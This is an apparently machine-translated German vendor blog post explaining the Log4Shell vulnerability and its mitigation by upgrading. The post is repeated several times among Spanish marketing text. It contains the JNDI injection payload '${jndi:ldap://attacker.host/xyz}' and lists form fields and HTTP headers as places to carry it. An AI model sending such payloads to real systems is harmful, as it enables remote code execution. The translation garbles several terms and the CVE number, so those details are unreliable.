Die Log4j-Sicherheitslücke erklärt — Ihr Angriffsvektor und wie man ihn verhindert
Am 9. Dezember wurde ein 0-Tage-Exploit in der Java-Bibliothek Log4j veröffentlicht. CVE-44228, synchronisiert Log4-Shell, wurde als „hoher Schweregrad“ eingestuft, da der Exploit zur Remotecodeausführung führen kann (REIS). Darüber hinaus ist log4j-core eine der am häufigsten verwendeten Java-Logging-Bibliotheken und gefährdet daher Millionen von Anwendungen.
Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?
Wir haben ein Showcase erstellt, das Sie von der Grundidee von Log4Shell bis hin zu den Exploits dieser Sicherheitslücke in einem Simulator namens Mission führt. In dieser Mission zeigen wir Ihnen, wie sich die Log4j-Sicherheitslücke auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase zu springen, oder lesen Sie weiter, um mehr über die Sicherheitsanfälligkeit im Detail zu erfahren.
Alte Neuigkeiten?
Der Exploit ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 haben Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh betonte das“Anwendungen sollten keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen„und veranschaulichte, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen kann. Und genau das ist der Kern von Log4Shell.
Angriffsvektor
Die Injektionsnutzlast von Log4Shell sieht so aus:
$ {jndi: ldap: //attacker.host/xyz}
Um das zu verstehen, müssen wir über Javas Expression Language (EL) Bescheid wissen. Ausdrücke, die in der folgenden Syntax geschrieben sind: $ {expr} wird zur Laufzeit ausgewertet. $ {java:version} gibt beispielsweise die verwendete Java-Version zurück.
Als nächstes gibt es JNDI, oder Java-Benennungs- und Verzeichnisschnittstelle, eine API, die es ermöglicht, mithilfe von Protokollen wie LDAP, DNS, RMI usw. eine Verbindung zu Diensten herzustellen, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt: In unserem obigen Beispiel für bösartige Nutzdaten führt JNDI eine Suche auf dem vom Angreifer kontrollierten LDAP-Server durch. Die Antwort könnte beispielsweise auf eine Java-Klassendatei hinweisen, die bösartigen Code enthält, der im Gegenzug auf dem anfälligen Server ausgeführt wird.
Was diese Sicherheitslücke so problematisch macht, ist, dass Log4j alle Logeinträge auswertet und nach allen protokollierten Benutzereingaben sucht, die in EL-Syntax mit dem Präfix „jndi“ geschrieben sind. Die Nutzlast kann an jeder Stelle eingefügt werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Außerdem HTTP-Header, wie die Benutzer-Agent und X-Forwarded-Fürund andere Header können so angepasst werden, dass sie die Nutzlast tragen.
Um den Exploit selbst zu erleben, gehe zu unserem Showcase und springe zu Schritt 2 — „Wirkung erleben“.
Prävention: Sensibilisierung
Ein Upgrade ist die empfohlene Maßnahme für alle Anwendungen, da Log4j den anfälligen Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch ein DDoS und andere Sicherheitslücken, was bedeutet, dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.
Als Entwickler, die Code schreiben, müssen wir die Sicherheit jederzeit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen beeinträchtigt werden kann, von denen wir naiverweise annehmen, dass sie sicher sind.
Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können Entwickler nur so viel tun, als anfällige Komponenten über Software von Drittanbietern eingeführt werden. Auf der anderen Seite wurde die Lektion, die daraus gezogen wurde, immer wieder wiederholt, nämlich Benutzereingaben niemals zu vertrauen.
Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um Sicherheitslücken im Code zu verhindern. Da SCW umfangreiche Schulungen speziell für das Programmierframework anbietet, konnten Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre von SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.
Insbesondere für Java-Entwickler bietet Secure Code Warrior Sensei, ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Codeanalyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Sicherheitslücken zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten verwenden Kochbücher. Stöbern Sie in unseren Rezepte, und vergessen Sie nicht, unsere herunterzuladen Log4j Kochbuch was Ihnen helfen wird, die Log4Shell-Sicherheitslücke im Handumdrehen zu finden und zu beheben.
Verbessere deine Fähigkeiten in der Verteidigung gegen Log4Shell
Interessiert daran, das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umzusetzen? Unser Showcase kann Ihnen helfen. Zu Beginn des Showcases erhalten Sie einen kurzen Überblick über diese Sicherheitslücke. Anschließend werden Sie in eine simulierte Umgebung geleitet, in der Sie den Exploit anhand von Anleitungen ausprobieren können.
Im Dezember 2021 wurde eine kritische Sicherheitslücke Log4Shell in der Java-Bibliothek Log4j aufgedeckt. In diesem Artikel unterteilen wir die Log4Shell-Sicherheitslücke in die einfachste Form, damit Sie die Grundlagen verstehen, und stellen Ihnen eine Mission vor — einen Spielplatz, auf dem Sie versuchen können, eine simulierte Website mithilfe des Wissens über diese Sicherheitsanfälligkeit auszunutzen.
Secure Code Warrior a disposición de su empresa para ayudarle a proteger el código durante todo el ciclo de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es responsable de seguridad de aplicaciones, desarrollador, responsable de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su empresa a reducir los riesgos asociados al código inseguro.
Reservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
Am 9. Dezember wurde ein 0-Tage-Exploit in der Java-Bibliothek Log4j veröffentlicht. CVE-44228, synchronisiert Log4-Shell, wurde als „hoher Schweregrad“ eingestuft, da der Exploit zur Remotecodeausführung führen kann (REIS). Darüber hinaus ist log4j-core eine der am häufigsten verwendeten Java-Logging-Bibliotheken und gefährdet daher Millionen von Anwendungen.
Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?
Wir haben ein Showcase erstellt, das Sie von der Grundidee von Log4Shell bis hin zu den Exploits dieser Sicherheitslücke in einem Simulator namens Mission führt. In dieser Mission zeigen wir Ihnen, wie sich die Log4j-Sicherheitslücke auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase zu springen, oder lesen Sie weiter, um mehr über die Sicherheitsanfälligkeit im Detail zu erfahren.
Alte Neuigkeiten?
Der Exploit ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 haben Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh betonte das“Anwendungen sollten keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen„und veranschaulichte, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen kann. Und genau das ist der Kern von Log4Shell.
Angriffsvektor
Die Injektionsnutzlast von Log4Shell sieht so aus:
$ {jndi: ldap: //attacker.host/xyz}
Um das zu verstehen, müssen wir über Javas Expression Language (EL) Bescheid wissen. Ausdrücke, die in der folgenden Syntax geschrieben sind: $ {expr} wird zur Laufzeit ausgewertet. $ {java:version} gibt beispielsweise die verwendete Java-Version zurück.
Als nächstes gibt es JNDI, oder Java-Benennungs- und Verzeichnisschnittstelle, eine API, die es ermöglicht, mithilfe von Protokollen wie LDAP, DNS, RMI usw. eine Verbindung zu Diensten herzustellen, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt: In unserem obigen Beispiel für bösartige Nutzdaten führt JNDI eine Suche auf dem vom Angreifer kontrollierten LDAP-Server durch. Die Antwort könnte beispielsweise auf eine Java-Klassendatei hinweisen, die bösartigen Code enthält, der im Gegenzug auf dem anfälligen Server ausgeführt wird.
Was diese Sicherheitslücke so problematisch macht, ist, dass Log4j alle Logeinträge auswertet und nach allen protokollierten Benutzereingaben sucht, die in EL-Syntax mit dem Präfix „jndi“ geschrieben sind. Die Nutzlast kann an jeder Stelle eingefügt werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Außerdem HTTP-Header, wie die Benutzer-Agent und X-Forwarded-Fürund andere Header können so angepasst werden, dass sie die Nutzlast tragen.
Um den Exploit selbst zu erleben, gehe zu unserem Showcase und springe zu Schritt 2 — „Wirkung erleben“.
Prävention: Sensibilisierung
Ein Upgrade ist die empfohlene Maßnahme für alle Anwendungen, da Log4j den anfälligen Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch ein DDoS und andere Sicherheitslücken, was bedeutet, dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.
Als Entwickler, die Code schreiben, müssen wir die Sicherheit jederzeit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen beeinträchtigt werden kann, von denen wir naiverweise annehmen, dass sie sicher sind.
Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können Entwickler nur so viel tun, als anfällige Komponenten über Software von Drittanbietern eingeführt werden. Auf der anderen Seite wurde die Lektion, die daraus gezogen wurde, immer wieder wiederholt, nämlich Benutzereingaben niemals zu vertrauen.
Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um Sicherheitslücken im Code zu verhindern. Da SCW umfangreiche Schulungen speziell für das Programmierframework anbietet, konnten Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre von SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.
Insbesondere für Java-Entwickler bietet Secure Code Warrior Sensei, ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Codeanalyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Sicherheitslücken zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten verwenden Kochbücher. Stöbern Sie in unseren Rezepte, und vergessen Sie nicht, unsere herunterzuladen Log4j Kochbuch was Ihnen helfen wird, die Log4Shell-Sicherheitslücke im Handumdrehen zu finden und zu beheben.
Verbessere deine Fähigkeiten in der Verteidigung gegen Log4Shell
Interessiert daran, das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umzusetzen? Unser Showcase kann Ihnen helfen. Zu Beginn des Showcases erhalten Sie einen kurzen Überblick über diese Sicherheitslücke. Anschließend werden Sie in eine simulierte Umgebung geleitet, in der Sie den Exploit anhand von Anleitungen ausprobieren können.
Am 9. Dezember wurde ein 0-Tage-Exploit in der Java-Bibliothek Log4j veröffentlicht. CVE-44228, synchronisiert Log4-Shell, wurde als „hoher Schweregrad“ eingestuft, da der Exploit zur Remotecodeausführung führen kann (REIS). Darüber hinaus ist log4j-core eine der am häufigsten verwendeten Java-Logging-Bibliotheken und gefährdet daher Millionen von Anwendungen.
Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?
Wir haben ein Showcase erstellt, das Sie von der Grundidee von Log4Shell bis hin zu den Exploits dieser Sicherheitslücke in einem Simulator namens Mission führt. In dieser Mission zeigen wir Ihnen, wie sich die Log4j-Sicherheitslücke auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase zu springen, oder lesen Sie weiter, um mehr über die Sicherheitsanfälligkeit im Detail zu erfahren.
Alte Neuigkeiten?
Der Exploit ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 haben Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh betonte das“Anwendungen sollten keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen„und veranschaulichte, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen kann. Und genau das ist der Kern von Log4Shell.
Angriffsvektor
Die Injektionsnutzlast von Log4Shell sieht so aus:
$ {jndi: ldap: //attacker.host/xyz}
Um das zu verstehen, müssen wir über Javas Expression Language (EL) Bescheid wissen. Ausdrücke, die in der folgenden Syntax geschrieben sind: $ {expr} wird zur Laufzeit ausgewertet. $ {java:version} gibt beispielsweise die verwendete Java-Version zurück.
Als nächstes gibt es JNDI, oder Java-Benennungs- und Verzeichnisschnittstelle, eine API, die es ermöglicht, mithilfe von Protokollen wie LDAP, DNS, RMI usw. eine Verbindung zu Diensten herzustellen, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt: In unserem obigen Beispiel für bösartige Nutzdaten führt JNDI eine Suche auf dem vom Angreifer kontrollierten LDAP-Server durch. Die Antwort könnte beispielsweise auf eine Java-Klassendatei hinweisen, die bösartigen Code enthält, der im Gegenzug auf dem anfälligen Server ausgeführt wird.
Was diese Sicherheitslücke so problematisch macht, ist, dass Log4j alle Logeinträge auswertet und nach allen protokollierten Benutzereingaben sucht, die in EL-Syntax mit dem Präfix „jndi“ geschrieben sind. Die Nutzlast kann an jeder Stelle eingefügt werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Außerdem HTTP-Header, wie die Benutzer-Agent und X-Forwarded-Fürund andere Header können so angepasst werden, dass sie die Nutzlast tragen.
Um den Exploit selbst zu erleben, gehe zu unserem Showcase und springe zu Schritt 2 — „Wirkung erleben“.
Prävention: Sensibilisierung
Ein Upgrade ist die empfohlene Maßnahme für alle Anwendungen, da Log4j den anfälligen Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch ein DDoS und andere Sicherheitslücken, was bedeutet, dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.
Als Entwickler, die Code schreiben, müssen wir die Sicherheit jederzeit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen beeinträchtigt werden kann, von denen wir naiverweise annehmen, dass sie sicher sind.
Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können Entwickler nur so viel tun, als anfällige Komponenten über Software von Drittanbietern eingeführt werden. Auf der anderen Seite wurde die Lektion, die daraus gezogen wurde, immer wieder wiederholt, nämlich Benutzereingaben niemals zu vertrauen.
Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um Sicherheitslücken im Code zu verhindern. Da SCW umfangreiche Schulungen speziell für das Programmierframework anbietet, konnten Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre von SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.
Insbesondere für Java-Entwickler bietet Secure Code Warrior Sensei, ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Codeanalyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Sicherheitslücken zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten verwenden Kochbücher. Stöbern Sie in unseren Rezepte, und vergessen Sie nicht, unsere herunterzuladen Log4j Kochbuch was Ihnen helfen wird, die Log4Shell-Sicherheitslücke im Handumdrehen zu finden und zu beheben.
Verbessere deine Fähigkeiten in der Verteidigung gegen Log4Shell
Interessiert daran, das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umzusetzen? Unser Showcase kann Ihnen helfen. Zu Beginn des Showcases erhalten Sie einen kurzen Überblick über diese Sicherheitslücke. Anschließend werden Sie in eine simulierte Umgebung geleitet, in der Sie den Exploit anhand von Anleitungen ausprobieren können.
Haga clic en el enlace de abajo y descargue el PDF de este recurso.
Secure Code Warrior a disposición de su empresa para ayudarle a proteger el código durante todo el ciclo de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es responsable de seguridad de aplicaciones, desarrollador, responsable de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su empresa a reducir los riesgos asociados al código inseguro.
Ver informeReservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
Am 9. Dezember wurde ein 0-Tage-Exploit in der Java-Bibliothek Log4j veröffentlicht. CVE-44228, synchronisiert Log4-Shell, wurde als „hoher Schweregrad“ eingestuft, da der Exploit zur Remotecodeausführung führen kann (REIS). Darüber hinaus ist log4j-core eine der am häufigsten verwendeten Java-Logging-Bibliotheken und gefährdet daher Millionen von Anwendungen.
Möchten Sie Ihre Fähigkeiten im Umgang mit Log4Shell schnell verbessern?
Wir haben ein Showcase erstellt, das Sie von der Grundidee von Log4Shell bis hin zu den Exploits dieser Sicherheitslücke in einem Simulator namens Mission führt. In dieser Mission zeigen wir Ihnen, wie sich die Log4j-Sicherheitslücke auf Ihre Infrastruktur und Anwendungen auswirken kann. Klicken Sie hier, um direkt in den Showcase zu springen, oder lesen Sie weiter, um mehr über die Sicherheitsanfälligkeit im Detail zu erfahren.
Alte Neuigkeiten?
Der Exploit ist nicht neu. Bereits in ihrem BlackHat-Vortrag 2016 haben Sicherheitsforscher Alvaro Muñoz und Oleksandr Mirosh betonte das“Anwendungen sollten keine JNDI-Lookups mit nicht vertrauenswürdigen Daten durchführen„und veranschaulichte, wie eine gezielte JNDI/LDAP-Injektion zur Remotecodeausführung führen kann. Und genau das ist der Kern von Log4Shell.
Angriffsvektor
Die Injektionsnutzlast von Log4Shell sieht so aus:
$ {jndi: ldap: //attacker.host/xyz}
Um das zu verstehen, müssen wir über Javas Expression Language (EL) Bescheid wissen. Ausdrücke, die in der folgenden Syntax geschrieben sind: $ {expr} wird zur Laufzeit ausgewertet. $ {java:version} gibt beispielsweise die verwendete Java-Version zurück.
Als nächstes gibt es JNDI, oder Java-Benennungs- und Verzeichnisschnittstelle, eine API, die es ermöglicht, mithilfe von Protokollen wie LDAP, DNS, RMI usw. eine Verbindung zu Diensten herzustellen, um Daten oder Ressourcen abzurufen. Einfach ausgedrückt: In unserem obigen Beispiel für bösartige Nutzdaten führt JNDI eine Suche auf dem vom Angreifer kontrollierten LDAP-Server durch. Die Antwort könnte beispielsweise auf eine Java-Klassendatei hinweisen, die bösartigen Code enthält, der im Gegenzug auf dem anfälligen Server ausgeführt wird.
Was diese Sicherheitslücke so problematisch macht, ist, dass Log4j alle Logeinträge auswertet und nach allen protokollierten Benutzereingaben sucht, die in EL-Syntax mit dem Präfix „jndi“ geschrieben sind. Die Nutzlast kann an jeder Stelle eingefügt werden, an der Benutzer Daten eingeben können, z. B. in Formularfeldern. Außerdem HTTP-Header, wie die Benutzer-Agent und X-Forwarded-Fürund andere Header können so angepasst werden, dass sie die Nutzlast tragen.
Um den Exploit selbst zu erleben, gehe zu unserem Showcase und springe zu Schritt 2 — „Wirkung erleben“.
Prävention: Sensibilisierung
Ein Upgrade ist die empfohlene Maßnahme für alle Anwendungen, da Log4j den anfälligen Code gepatcht hat. Die Versionen 2.15.0 und 2.16.0 enthielten jedoch ein DDoS und andere Sicherheitslücken, was bedeutet, dass ab Ende Dezember ein Upgrade auf 2.17.0 empfohlen wird.
Als Entwickler, die Code schreiben, müssen wir die Sicherheit jederzeit berücksichtigen. Log4Shell hat uns gelehrt, dass die Verwendung von Frameworks oder Bibliotheken von Drittanbietern mit Risiken verbunden ist. Wir müssen uns der Tatsache bewusst sein, dass die Sicherheit unserer Anwendung durch die Verwendung externer Quellen beeinträchtigt werden kann, von denen wir naiverweise annehmen, dass sie sicher sind.
Hätte diese Sicherheitslücke verhindert werden können? Ja und nein. Einerseits können Entwickler nur so viel tun, als anfällige Komponenten über Software von Drittanbietern eingeführt werden. Auf der anderen Seite wurde die Lektion, die daraus gezogen wurde, immer wieder wiederholt, nämlich Benutzereingaben niemals zu vertrauen.
Secure Code Warrior ist der Ansicht, dass sicherheitsbewusste Entwickler der beste Weg sind, um Sicherheitslücken im Code zu verhindern. Da SCW umfangreiche Schulungen speziell für das Programmierframework anbietet, konnten Unternehmenskunden anhand der Berichtsdaten schnell herausfinden, wer die betroffenen Java-Entwickler sind. Sie verließen sich auch auf ihre von SCW geschulten Sicherheitsexperten, um das Upgrade von Log4j zu beschleunigen.
Insbesondere für Java-Entwickler bietet Secure Code Warrior Sensei, ein kostenloses IntelliJ-Plugin. Dieses regelbasierte Codeanalyse-Tool kann verwendet werden, um Codierungsrichtlinien durchzusetzen und Sicherheitslücken zu verhindern und zu beheben. Sie können Ihre eigenen Regeln erstellen oder unsere vorgefertigten verwenden Kochbücher. Stöbern Sie in unseren Rezepte, und vergessen Sie nicht, unsere herunterzuladen Log4j Kochbuch was Ihnen helfen wird, die Log4Shell-Sicherheitslücke im Handumdrehen zu finden und zu beheben.
Verbessere deine Fähigkeiten in der Verteidigung gegen Log4Shell
Interessiert daran, das, was Sie in diesem Blogbeitrag gelernt haben, in die Praxis umzusetzen? Unser Showcase kann Ihnen helfen. Zu Beginn des Showcases erhalten Sie einen kurzen Überblick über diese Sicherheitslücke. Anschließend werden Sie in eine simulierte Umgebung geleitet, in der Sie den Exploit anhand von Anleitungen ausprobieren können.
Índice
Secure Code Warrior a disposición de su empresa para ayudarle a proteger el código durante todo el ciclo de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es responsable de seguridad de aplicaciones, desarrollador, responsable de seguridad de la información o cualquier otra persona relacionada con la seguridad, podemos ayudar a su empresa a reducir los riesgos asociados al código inseguro.
Reservar una demostraciónDescargarRecursos para empezar
Temas y contenidos de la formación Securecode
Nuestros contenidos líderes en el sector se desarrollan continuamente para adaptarse al cambiante panorama del desarrollo de software, teniendo en cuenta su función. Temas que abarcan desde la inteligencia artificial hasta la inyección XQuery y que se ofrecen para una amplia variedad de funciones, desde arquitectos e ingenieros hasta gestores de productos y control de calidad. Eche un vistazo a nuestro catálogo de contenidos por temas y funciones.
La Cámara de Comercio establece el estándar para la seguridad impulsada por desarrolladores a gran escala
Kamer van Koophandel comparte cómo ha integrado la codificación segura en el desarrollo diario mediante certificaciones basadas en roles, evaluaciones comparativas de Trust Score y una cultura de responsabilidad compartida en materia de seguridad.
%20(1).avif)
.avif)
Modelado de amenazas con IA: convertir a cada desarrollador en un modelador de amenazas
Saldrá mejor equipado para ayudar a los desarrolladores a combinar ideas y técnicas de modelado de amenazas con las herramientas de IA que ya utilizan para reforzar la seguridad, mejorar la colaboración y crear software más resistente desde el principio.
Recursos para empezar
Cybermon ha vuelto: ¡Derrota al jefe! Las misiones KI ya están disponibles bajo demanda.
Cybermon 2025 Beat the Boss ya está disponible durante todo el año en SCW. Utiliza requisitos de seguridad avanzados de IA/LLM para reforzar el desarrollo seguro de la IA a gran escala.
Explicación de la Ley de Resiliencia Cibernética: qué significa para el desarrollo de software Secure by Design
Descubra qué exige la Ley de Ciberresiliencia de la UE (CRA), a quién se aplica y cómo los equipos de desarrollo pueden prepararse para ella mediante métodos seguros, la prevención de vulnerabilidades de seguridad y el desarrollo de capacidades para los desarrolladores.
Facilitador 1: Criterios de éxito definidos y medibles
El facilitador 1 abre nuestra serie de diez partes titulada «Facilitadores del éxito» y muestra cómo la codificación segura puede combinarse con resultados empresariales como la reducción de riesgos y la velocidad para lograr la madurez del programa a largo plazo.
